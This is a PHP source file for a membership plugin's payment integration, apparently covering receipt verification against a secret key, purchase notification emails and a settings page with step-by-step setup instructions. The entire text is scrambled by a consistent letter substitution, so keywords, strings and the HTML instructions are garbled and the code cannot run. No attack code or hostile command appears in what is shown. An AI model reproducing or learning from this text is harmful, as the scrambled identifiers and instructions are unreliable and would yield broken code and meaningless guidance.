moxt(SxsAr[QplrmUDsFtBQplrmU]), N)U xA (xnnBm(SxsAr[QplrmUnvlQplrmU])) { SuBkBu = @xsmkFu(SxsAr[QplrmUnvlQplrmU])U } BunB { SuBkBu = FooFh_nBFoDy(SxsAr[QplrmUxmBtQplrmU], SxmBtn)U } xA (VSuBkBu) { SoBnlum = FooFh()U } BunB { SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDEoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } } BunB { SoBnlum = FooFh()U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUDmoFsnFDmxrsQplrmU])) { SnmFmln = SxsAr[QplrmUDmoFsnFDmxrsQplrmU]U } xA (SnmFmln == QplrmU a2cQplrmU || SnmFmln == QplrmUd9e5QplrmU || SnmFmln == QplrmU72$aQplrmU || SnmFmln == QplrmUdf2db4- be744QplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SnBDoBm5Bh) { SoDqm=S_ b&;b$#[QTPMGUDEoBDBxqmQTPMGU]U SmxtB=S_ b&;b$#[QTPMGUmxtBQTPMGU]U SxmBt=S_ b&;b$#[QTPMGUxmBtQTPMGU]U SDEqrq=S_ b&;b$#[QTPMGUDEqrqQTPMGU]U Siiqrq=nyFO(QplrmUSnBDoBm5Bh|SoDqm|SmxtB|SxmBtQplrmU)U Siiqrq=nmomrlqqBo(nlEnmo(Siiqrq,P,H))U xA (SDEqrq==Siiqrq) { oBmlos SkFonU } oBmlos FooFh()U } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SlsBnDFqB = zBm_tFzxD_plrmBn_zqD()U SAxBuCn = FooFh(QTPMGUDDlnmsFtBQTPMGU, QTPMGUDDlnmBtFxuQTPMGU, QTPMGUDDlnmDDQTPMGU, QTPMGUDDlnmnmFmBQTPMGU, QTPMGUDmoFsnoBDBxqmQTPMGU, QTPMGUDqorCxmBtQTPMGU, QTPMGUDmoFsnFDmxrsQTPMGU, QTPMGUDmoFsnFAAxuxFmBQTPMGU, QTPMGUDmoFsnqlEuxnyBoQTPMGU, QTPMGUDqorCmhqBQTPMGU, QTPMGUDqorCmxmuBQTPMGU, QTPMGUDmoFsnqFhtBsmtBmyrCQTPMGU, QTPMGUDmoFsnFtrlsmQTPMGU, QTPMGUDFAAxmxCQTPMGU, QTPMGUDkBsCmyolQTPMGU, QTPMGUDkBoxAhQTPMGU)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } SkFon = FooFh()U AroBFDy (SAxBuCn Fn SAxBuC) { xA (xnnBm(Sqrnm[SAxBuC])) { SkFon[SAxBuC] = Sqrnm[SAxBuC]U } } Sqrq = QplrmUQplrmUU SxqsaxBuCn = FooFh()U AroBFDy (SkFon f$ SvBh =QzmU SkFulB) { xA (SvBh == QplrmUDkBoxAhQplrmU) { DrsmxslBU } SxqsaxBuCn[] = SvBhU } AroBFDy (SxqsaxBuCn Fn SAxBuC) { xA (SlsBnDFqB) { Sqrq .= nmoxqnuFnyBn(Sqrnm_kFon[SAxBuC]) . QplrmU|QplrmUU } BunB { Sqrq .= SkFon[SAxBuC] . QplrmU|QplrmUU } } Sqrq = Sqrq . SnBDoBm5BhU SDFuDBC!BoxAh = nyFO(tE_DrskBom_BsDrCxsz(Sqrq, QplrmU;#a-HQplrmU))U SDFuDBC!BoxAh = nmomrlqqBo(nlEnmo(SDFuDBC!BoxAh,P,H))U xA (SDFuDBC!BoxAh == SkFon[QplrmUDkBoxAhQplrmU]) { oBmlos SkFonU } oBmlos FooFh()U } qlEuxD AlsDmxrs srmxAh() { SnlEwBDm = QplrmU[702] duxDvEFsv 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUDmoFsnFtrlsmQplrmU]/OPP)U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU a2cQplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUd9e5QplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU72$aQplrmU) { SnlEwBDm .= QplrmU ( ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU$f4bQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUe744QplrmU) { SnlEwBDm .= QplrmU ( be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUdf2db4- be744QplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUDmoFsnmxtBQplrmU])) { SqFhtBsmcFmB = xsmkFu(S_01$#[QplrmUDmoFsnmxtBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUDDlnmBtFxuQplrmU])U xA (SqFhtBsmcFmB) { StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U } StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9BsxlndFom6!< BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUwkg_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUwkg_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, SmrvBs)U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)U SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)U xA (VSmrvBs) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SkFulB = @xsmkFu(SkFulB)U xA (SkFulB QzmU P) { SxmBtn[SvBh] = SkFulBU } } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY QumUyMQzmU6!<rr 0FhtBsmQumU/yMQzmUYY QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz 6! <rr, hrl tlnm:QumU/qQzmUYY QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY QumUuxQzmU BzxnmBo F 6!<rr $b44b FDDrlsm Eh oBzxnmBoxsz Fm myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.wkgrr.Drt/nBuuBonQplrmUQzmU6!<rr $BuuBoQumU/FQzmU jBEnxmBQumU/uxQzmUY QumUuxQzmU$Bm hrlo QFtqUplrmU6!<702 nBDoBm vBhQFtqUplrmU mr tFmDy Ermy myxn qFzB FsC hrlo QFtqUplrmU3h fDDrlsmQFtqUplrmU FoBF xs 6!<rrQumU/uxQzmUY QumUuxQzmUdoBFmB F 6!<rr qorClDm (ro BCxm hrlo Bixnmxsz rsB)QumU/uxQzmUY QumUuxQzmUbCxm myFm qorClDm FsC nBm myB QFtqUplrmUmyFsv hrlQFtqUplrmU qFzB jB qorkxCB hrlQumU/uxQzmUY QumUuxQzmUdyBDv myB QFtqUplrmUqFnn qFoFtBmBonQFtqUplrmU EriQumU/uxQzmUY QumUuxQzmU0FnmB xs myB QFtqUplrmU6!<702 ; 4QFtqUplrmU jB zxkB hrl, nBm QFtqUplrmU6!<702 $qBDxFu 7smBzoFmxrsQFtqUplrmU mr QFtqUplrmU?xnyuxnm 3BtEBoQFtqUplrmU FsC qFnmB xs myB QFtqUplrmU?xnyuxnm $5;QFtqUplrmU jB zxkB hrlQumU/uxQzmUY QumU/luQzmUYY QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUyMQzmU$mBq O: drsAxzloB 6!<rr $Bmmxszn QFtqUFtqU $BDoBm 5BhQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl CrsQTPMGUm hBm yFkB F 6!<rr $BuuBo FDDrlsm, QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.wkgrr.Drt/nBuuBonQplrmUQzmUzr mr myBxo jBEnxmB FsC DoBFmB rsBQumU/FQzmU. 7m oBplxoBn F QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0Fu FDDrlsmQumU/FQzmU, FsC myBhQTPMGUuu yFkB hrl DuxDv myorlzy nmBqn mr uxsv hrlo 0Fh0Fu FDDrlsm FsC qoB-FlmyroxgB qFhtBsmn mr FAAxuxFmBn.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU fAmBo hrlQTPMGUkB DoBFmBC myFm nBuuBo FDDrlsm, zr mr QumUDrCBQzmU3h fDDrlsm, 3h fDDrlsmQumU/DrCBQzmU, FsC sBim mr QumUDrCBQzmU6!<702 $BDoBm 5BhQumU/DrCBQzmU, DuxDv myB uxsv myFm nFhn: QumUDrCBQzmUduxDv yBoB mr BCxm 6!<702 $BDoBm 5BhQumU/DrCBQzmU.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drqh myB 6!<rr nBDoBm vBh Aort EBurj (ro tFmDy myB rsB EBurj xA hrlo FDDrlsm FuoBFCh yFn rsB.QumU/uxQzmUYY QumUqQzmUQumUEurDvplrmBQzmUY QumUuFEBuQzmUQumUEQzmU6!<rr $BDoBm 5Bh:QumU/EQzmU Y QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUY QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.wkg_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y QumUWqyq BsCxAU WQzmUYY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUwkg_mrvBsQplrmU DuFnn=QplrmUwkg_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUNKQplrmU /QzmUY QumU/uFEBuQzmU QumUxsqlm DuFnn=QplrmUwkg_mrvBsQplrmU mhqB=QplrmUnlEtxmQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB 6!<rr $BDoBm 5BhQplrmU /QzmUY QumU/EurDvplrmBQzmUQumU/qQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU eB nloB mr DuxDv myB QumUDrCBQzmU$FkBQumU/DrCBQzmU Elmmrs mr Fqquh myxn DyFszB mr hrlo FDDrlsm.QumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq N: doBFmB 6!<rr 0orClDmQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU doBFmB hrlo qorClDm xs myB 6!<rr tBtEBoQTPMGUn FoBF Eh zrxsz mr QumUDrCBQzmU$BuuBon, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU.QumU/uxQzmUY Y QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv myB zxFsm hBuurj Elmmrs myFm nFhn: QumUDrCBQzmUfCC f 0orClDm (7mQTPMGUn a bbV)QumU/DrCBQzmUQumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU axuu xs myB sFtB, qoxDB, Drttxnnxrs qFhrlm, nlqqrom BtFxu FCCoBnn, uFsCxsz qFzB (x.B. QumUDrCBQzmUQumUWqyq xA (xn_nnu()): WQzmUymmqn://QumUWqyq BunB: WQzmUymmq://QumUWqyq BsCxAU WQzmUQumUWqyq BDyr S_$b !b [QplrmU8##0_81$#QplrmU]U WQzmUQumU/DrCBQzmU, nFuBn qFzB ; 4 (x.B. QumUDrCBQzmUQumUWqyq xA (xn_nnu()): WQzmUymmqn://QumUWqyq BunB: WQzmUymmq://QumUWqyq BsCxAU WQzmUQumUWqyq BDyr S_$b !b [QplrmU8##0_81$#QplrmU]U WQzmUQumU/DrCBQzmU).QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmUcBuxkBoh 3BmyrCQumU/DrCBQzmU mr QumUDrCBQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzBQumU/DrCBQzmU (21# 0ormBDmBC crjsurFC).QumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq M: $Bm #yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzBQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ?yxuB hrlQTPMGUoB nmxuu DoBFmxsz myFm 6!<rr qorClDm, EB $; b myFm hrl DyBDv QumUDrCBQzmU0Fnn qFoFtBmBon mr crjsurFC 0FzB.QumU/DrCBQzmU #yxn xn BimoBtBuh xtqromFsm.QumU/qQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm myB QumUDrCBQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl / crjsurFC 0FzBQumU/DrCBQzmU mr myB ; 4 EBurj:QumU/qQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU xC=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyBDvrlmQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq L: $Bm myB QFtqUplrmUbimBosFu 0orzoFt 7smBzoFmxrsQFtqUplrmU $BmmxsznQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU BDrttBsCBC: 3BmyrC TOQumU/DrCBQzmU, nBm hrlo QumUDrCBQzmU6!<702 702 ; 4QumU/DrCBQzmU mr myB ; 4 EBurj:QumU/uxQzmUYY QumUEurDvplrmBQzmUY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmU;nB 6!<702 1lmqlm Fn 5Bh 9BsBoFmxrsQumU/DrCBQzmU mr QumUDrCBQzmU21QumU/DrCBQzmU.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm myB QumUDrCBQzmU6!<702 $qBDxFu 7smBzoFmxrsQumU/DrCBQzmU CorqCrjs mr QumUDrCBQzmU?xnyuxnm 3BtEBoQumU/DrCBQzmU.QumU/uxQzmUY QumU/ruQzmUYY QumUyMQzmU$mBq K: bsmBo 0orClDm 7c Aort 6!<rrQumU/yMQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU axsC myB qorClDm 7c xs 6!<rr. #yxn nyrluC EB sBFo myB mrq rA myB bCxm 0orClDm qFzB, FErkB QFtqUplrmUfuurj $FuBn.QFtqUplrmUQumU/qQzmUY Y QumUqQzmU7m nyrluC EB F J-Cxzxm sltEBo qoxsmBC uxvB myxn:QumUEo /QzmUY QumUDrCBQzmUef$7d 72a1 3f#712 a1 0 1c;d# 7c: OOONNNQumU/DrCBQzmUQumU/qQzmUYY QumUqQzmUbsmBo myFm qorClDm 7c xs myB mFEuB EBurj DrooBnqrsCxsz mr myB uBkBu hrl jFsm mr zoFsm FDDBnn mr.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBu 2FtB mr 0orkxCB fDDBnn #r...QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm 7cQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY QumUmoQzmUY QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_wkg_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mFEuBQzmUQumU/qQzmUY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB 6!<rr 0orClDm 7cnQplrmU /QzmUQumU/qQzmUY QumU/EurDvplrmBQzmUY Y QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq J: doBFmB QumUWqyq BDyr Dyo(HG)U WQzmUrlo #Bnm elmmrs xs 6!<rrQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 9r mr QumUDrCBQzmU$BuuBo, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU, myBs lsCBo myB QumUDrCBQzmUfCCxmxrsFu alsDmxrsnQumU/DrCBQzmU nlEmxmuB rs myFm qFzB, DuxDv myB QumUDrCBQzmU#Bnm 0loDyFnBnQumU/DrCBQzmU Elmmrs.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 1s myB sBim nDoBBs, AxsC myB qorClDm hrl wlnm DoBFmBC xs myB CorqCrjs uxnm, FsC DuxDv QumUDrCBQzmUdoBFmB #Bnm 0loDyFnB drCBQumU/DrCBQzmU.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU eB nloB hrlQTPMGUoB urzzBC rlm rA myxn tBtEBonyxq nxmB. #yB 6!<rr qFzB jxuu zxkB hrl F QumUDrCBQzmUelh / 4xsvQumU/DrCBQzmU. xzym DuxDv FsC rqBs myxn uxsv xs F QumUDrCBQzmU2Bj 7sDrzsxmr ?xsCrjQumU/DrCBQzmU. #yxn jxuu nBsC hrl mr F DyBDvrlm qFzB jyBoB hrlQTPMGUuu lnB F nBDrsC 0Fh0Fu FDDrlsm mr qFh SP.PO FsC kBoxAh myFm myB DyBDvrlm qorDBnn jrovn Aro hrl.QumU/uxQzmUYY QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 0Fh myB SP.PO, EB oBCxoBDmBC mr hrlo 6!<rr qloDyFnBn, DuxDv QumUDrCBQzmUfDDBnn QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0loDyFnBQumU/DrCBQzmU FsC hrlQTPMGUuu BsC lq Fm hrlo 3BtEBo 9Bsxln oBzxnmoFmxrs qFzB mr DoBFmB Fs FDDrlsm Aro myB qorClDm hrl wlnm mBnm-qloDyFnBC.QumU/uxQzmUY QumU/ruQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU$mBq J: drqh myB elh elmmrs drCB Aort 6!<rr FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 9r mr QumUDrCBQzmU$BuuBo, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU, AxsC myB qorClDm hrl wlnm DoBFmBC, FsC DuxDv QumUDrCBQzmUelh elmmrsnQumU/DrCBQzmU. #yxn jxuu mFvB hrl mr F sBj nDoBBs jyBoB hrl FoB qoBnBsmBC jxmy nqBDxFu DrCB mr quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY QumUqQzmU9oFE myB 8#34 DrCB mr quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY QumU/CxkQzmUY QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_9b#[QplrmUDEoBDBxqmQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUDFAAxmxCQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U } xA (VSxsAr || Drlsm(SxsAr) == P) { oBmlos AFunBU } xA (xnnBm(SxsAr[QplrmUDDlnmsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDDlnmBtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDqorCxmBtQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDmoFsnoBDBxqmQplrmU])) { qFonB_nmo(SxsAr[QplrmUDkBsCmyolQplrmU], SDkBsCmyol)U xA (xnnBm(SDkBsCmyol[QplrmUnvlQplrmU])) { Snvl = SDkBsCmyol[QplrmUnvlQplrmU]U } BunB { Snvl = PU } uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDDlnmsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDDlnmBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU xsmkFu(Snvl), QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDmoFsnoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunBxA (xnnBm(SxsAr[QplrmUDEoBDBxqmQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDBtFxuQplrmU])) { uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU 